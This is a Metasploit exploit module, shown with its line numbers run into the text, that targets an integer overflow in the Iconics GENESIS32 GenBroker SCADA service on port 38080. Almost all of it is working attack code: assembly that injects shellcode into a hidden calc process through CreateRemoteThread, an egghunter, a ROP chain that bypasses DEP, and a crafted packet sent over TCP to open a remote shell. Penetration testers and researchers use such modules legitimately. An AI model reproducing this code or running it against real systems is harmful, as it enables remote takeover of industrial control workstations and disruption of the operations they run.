Path: blob/master/modules/exploits/windows/scada/iconics_genbroker.rb
19535 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Egghunter1011def initialize(info = {})12super(13update_info(14info,15'Name' => "Iconics GENESIS32 Integer Overflow Version 9.21.201.01",16'Description' => %q{17The GenBroker service on port 38080 is affected by three integer overflow18vulnerabilities while handling opcode 0x4b0, which is caused by abusing the19the memory allocations needed for the number of elements passed by the client.20This results unexpected behaviors such as direct registry calls, memory location21calls, or arbitrary remote code execution. Please note that in order to ensure22reliability, this exploit will try to open calc (hidden), inject itself into the23process, and then open up a shell session. Also, DEP bypass is supported.24},25'License' => MSF_LICENSE,26'Author' => [27'Luigi Auriemma', # Initial discovery, poc28'Lincoln', # Metasploit29'corelanc0d3r <peter.ve[at]corelan.be>', # Metasploit + custom migrate fu30],31'References' => [32['OSVDB', '72817'],33['URL', 'http://aluigi.org/adv/genesis_4-adv.txt'],34['URL', 'https://www.cisa.gov/uscert/ics/alerts/ICS-ALERT-11-080-02']35],36'Payload' => {37'BadChars' => "\x00",38},39'DefaultOptions' => {40'EXITFUNC' => "thread",41},42'Platform' => 'win',43'Targets' => [44[45'Windows XP',46{47'Ret' => "\x70\x45",48'Max' => 9000,49}50],51],52'Privileged' => false,53'DisclosureDate' => '2011-03-21',54'DefaultTarget' => 0,55'Notes' => {56'Reliability' => UNKNOWN_RELIABILITY,57'Stability' => UNKNOWN_STABILITY,58'SideEffects' => UNKNOWN_SIDE_EFFECTS59}60)61)6263register_options(64[65Opt::RPORT(38080)66]67)68end6970def exploit71migrate_asm = %Q|72add esp,-500 ; adjust the stack to be sure73pushad ; save stuff7475find_kernel32: ;find kernel3276push esi ; Save esi77xor esi, esi ; Zero esi78mov eax, fs:[esi + 0x4] ; Extract TEB79mov eax, [eax - 0x1c]80find_kernel32_base:81find_kernel32_base_loop:82dec eax ; Subtract to our next page83xor ax, ax ; Zero the lower half84cmp word [eax], 0x5a4d ; Is this the top of kernel32?85jne find_kernel32_base_loop ; Nope? Try again.86find_kernel32_base_finished:87pop esi ; Restore esi8889mov edx,eax ; save base of kernel32 in edx9091jmp main_routine9293; find function pointer94find_function:95pushad ;save all registers96mov ebp, [esp + 0x24] ;base address of module that is being loaded in ebp97mov eax, [ebp + 0x3c] ;skip over MSDOS header98mov edx, [ebp + eax + 0x78] ;go to export table and put RVA in edx99add edx, ebp ;add base address to it.100mov ecx, [edx + 0x18] ;set up counter ECX (how many exported items are in array ?)101102mov ebx, [edx + 0x20] ;put names table relative offset in ebx103add ebx, ebp ;add base address to it (ebx = absolute address of names table)104105;(should never happen)106;unless function could not be found107find_function_loop:108jecxz find_function_finished ;if ecx=0, then last symbol has been checked.109110dec ecx ;ecx=ecx-1111;with the current symbol112;and store offset in esi113mov esi, [ebx + ecx * 4] ;get relative offset of the name associated114add esi, ebp ;add base address (esi = absolute address of current symbol)115116compute_hash:117xor edi, edi ;zero out edi118xor eax, eax ;zero out eax119cld ;clear direction flag.120121compute_hash_again:122lodsb ;load bytes at esi (current symbol name) into al, + increment esi123test al, al ;end of string ?124jz compute_hash_finished ;yes125ror edi, 0xd ;no, rotate value of hash 13 bits to the right126add edi, eax ;add current character of symbol name to hash accumulator127jmp compute_hash_again ;continue loop128129compute_hash_finished:130131find_function_compare:132cmp edi, [esp + 0x28] ;see if computed hash matches requested hash (at esp+0x28)133jnz find_function_loop ;no match, go to next symbol134mov ebx, [edx + 0x24] ;if match : extract ordinals table (relative offset and put in ebx)135add ebx, ebp ;add base address (ebx = absolute address of ordinals address table)136mov cx, [ebx + 2 * ecx] ;get current symbol ordinal number (2 bytes)137mov ebx, [edx + 0x1c] ;get address table relative and put in ebx138add ebx, ebp ;add base address (ebx = absolute address of address table)139mov eax, [ebx + 4 * ecx] ;get relative function offset from its ordinal and put in eax140add eax, ebp ;add base address (eax = absolute address of function address)141mov [esp + 0x1c], eax ;overwrite stack copy of eax so popad (return func addr in eax)142143find_function_finished: ;retrieve original registers (eax will contain function address)144popad145ret146147;--------------------------------------------------------------------------------------148find_funcs_for_dll:149lodsd ;load current hash into eax (pointed to by esi)150push eax ;push hash to stack151push edx ;push base address of dll to stack152call find_function153mov [edi], eax ;write function pointer into address at edi154add esp, 0x08 ;adjust stack155add edi, 0x04 ;increase edi to store next pointer156cmp esi, ecx ;did we process all hashes yet ?157jne find_funcs_for_dll ;get next hash and lookup function pointer158find_funcs_for_dll_finished:159ret160161;--------------------------------------------------------------------------------------162main_routine:163sub esp,0x1c ;allocate space on stack to store function addresses + ptr to string164mov ebp,esp165; ebp+4 : GetStartupInfo166; ebp+8 : CreateProcess167; ebp+C : VirtualAllocEx168; ebp+10 : WriteProcessMemory169; ebp+14 : CreateRemoteThread170; ebp+18 : Sleep171; ebp+1c : ptr to calc172173jmp get_func_hash174get_func_hash_return:175176pop esi ;get pointer to hashes into esi177;edi will be increased with 0x04 for each hash178lea edi, [ebp+0x4] ;we will store the function addresses at edi179180mov ecx,esi181add ecx,0x18182call find_funcs_for_dll ;get function pointers for all hashes183184; get our own startupinfo at esp+0x60185; ebp+4 = GetStartupInfo186mov edx,esp187add edx,0x60188push edx189call [ebp+0x4]190;ptr to startupinfo is in eax191192; create a new process193; pointer to string is in ecx194; ebp+8 = CreateProcessA195; ptr to startupinfo is now in eax196; no need to patch startupinfo, target runs as a service197; +2c : dwFlags : set to 0x1198; +30 : wShowWind : set to 0 (hide)199200; create the process201mov edi,eax202add edi,48203push edi ; lpProcessInformation : write processinfo here204push eax ; lpStartupInfo : current info (read)205push 0 ; lpCurrentDirectory206push 0 ; lpEnvironment207push 0x08000000 ; dwCreationFlags208push 0 ; bInHeritHandles209push 0210push 0211push esi ; ptr to calc212push 0213call [ebp+0x8]214; muahah calc ftw, now sleep a bit215push 0xbb8 ; 3 seconds216call [ebp+0x18]217218; allocate memory in the process (VirtualAllocEx())219; get handle220mov ecx,[edi]221push 0x40 ; RWX222push 0x1000 ; MEM_COMMIT223push 0x1000 ; size224push 0 ; address225push ecx ; handle226call [ebp+0xc]227228; eax now contains the destination229; WriteProcessMemory()230mov ecx,[edi] ; pick up handle again231push 0x1000 ; size232; pick up pointer to shellcode & push to stack233mov ebx,[esp+0x20]234add ebx,320235push ebx ; source236push eax ; destination237push ecx ; handle238call [ebp+0x10]239240; run the code (CreateRemoteThread())241mov ecx,[edi] ; pick up handle again242push 0 ; lpthreadID243push 0 ; run immediately244push 0 ; no parameter245mov ebx,[esp-0x4]246push ebx ; shellcode247push 0x2000 ; stacksize248push 0 ; lpThreadAttributes249push ecx250call [ebp+0x14] ; go baby !251252253get_func_hash:254call get_func_hash_return255db 0xD7 ;GetStartupInfoA256db 0xE3257db 0x7A258db 0x86259db 0x72 ;CreateProcessA260db 0xfe261db 0xb3262db 0x16263db 0x9c ;VirtualAllocEx264db 0x95265db 0x1a266db 0x6e267db 0xa1 ;WriteProcessMemory268db 0x6a269db 0x3d270db 0xd8271db 0xdd ;CreateRemoteThread272db 0x9c273db 0xbd274db 0x72 ;Sleep275db 0xB0276db 0x49277db 0x2D278db 0xDB279280; sneak in ptr to string too :)281db "calc"282db 0x00283|284285migrate = Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string286287nops = make_nops(10) * 4288thepayload = migrate << nops << payload.encoded289290eggoptions =291{292:eggtag => 'w00t',293}294295hunter, egg = generate_egghunter(thepayload, "", eggoptions)296297header = "\x01\x00\x00\x1e\x00\x00\x00\x01\x00\x00\x1f\xf4\x01\x00\x00\x00"298header << "\x00\x00\x00\x00\xb0\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"299header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"300header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x40"301302rop_chain =303[3040x100b257b, # POP ESP # RETN3050x771a22e4, # pointer in ecx -> initial ret to ret to pointer -> beg rop (thank you mona.py)3060x10047355, # Duplicate, readable, RETN3070x10047355, # POP EAX # RETN ** [GenClientU.dll]3080xffffffde,3090x7c3b2c65, # NEG EAX # RETN ** [MSVCP71.dll]3100x1011e33e, # XCHG EAX,EDX # RETN3110x1001ab22, # POP ECX # RETN ** [GenClientU.dll]3120x77dd1404, # ptr to ptr to NtSetInformationProcess() (ADVAPI.dll, static on XP)3130x100136c0, # MOV EAX,DWORD PTR DS:[ECX] # RETN ** [GenClientU.dll]3140x1008cfd1, # POP EDI, POP ESI, POP EBP, POP EBX, POP ESI,RETN ** [GenClientU.dll]3150x10080163, # POP ESI # RETN -> EDI3160x41414141,3170x41414141,3180xffffffff, # NtCurrentProcess() (EBX)3190x7c331d24, # ptr to 0x2 -> ECX3200x10090e3d, # XCHG EAX,EBP # RETN ** [GenClientU.dll]3210x10047355, # POP EAX # RETN ** [GenClientU.dll]3220xfffffffc,3230x7c3b2c65, # NEG EAX # RETN ** [MSVCP71.dll]3240x100dda84, # PUSHAD # RETN ** [GenClientU.dll]3250x90908aeb, # go to egghunter326].pack('V*')327328sploit = target['Ret'] * 180329sploit << [0x74757677].pack('V') * 8330sploit << "\x77\x77"331sploit << hunter # 32 byte hunter, no room for checksum332sploit << rop_chain333sploit << make_nops(28)334sploit << egg335336sploit << rand_text_alpha(target['Max'] - sploit.length)337338connect339print_status("Sending request. This will take a few seconds...")340sock.put(header + sploit)341342handler343disconnect344end345end346347348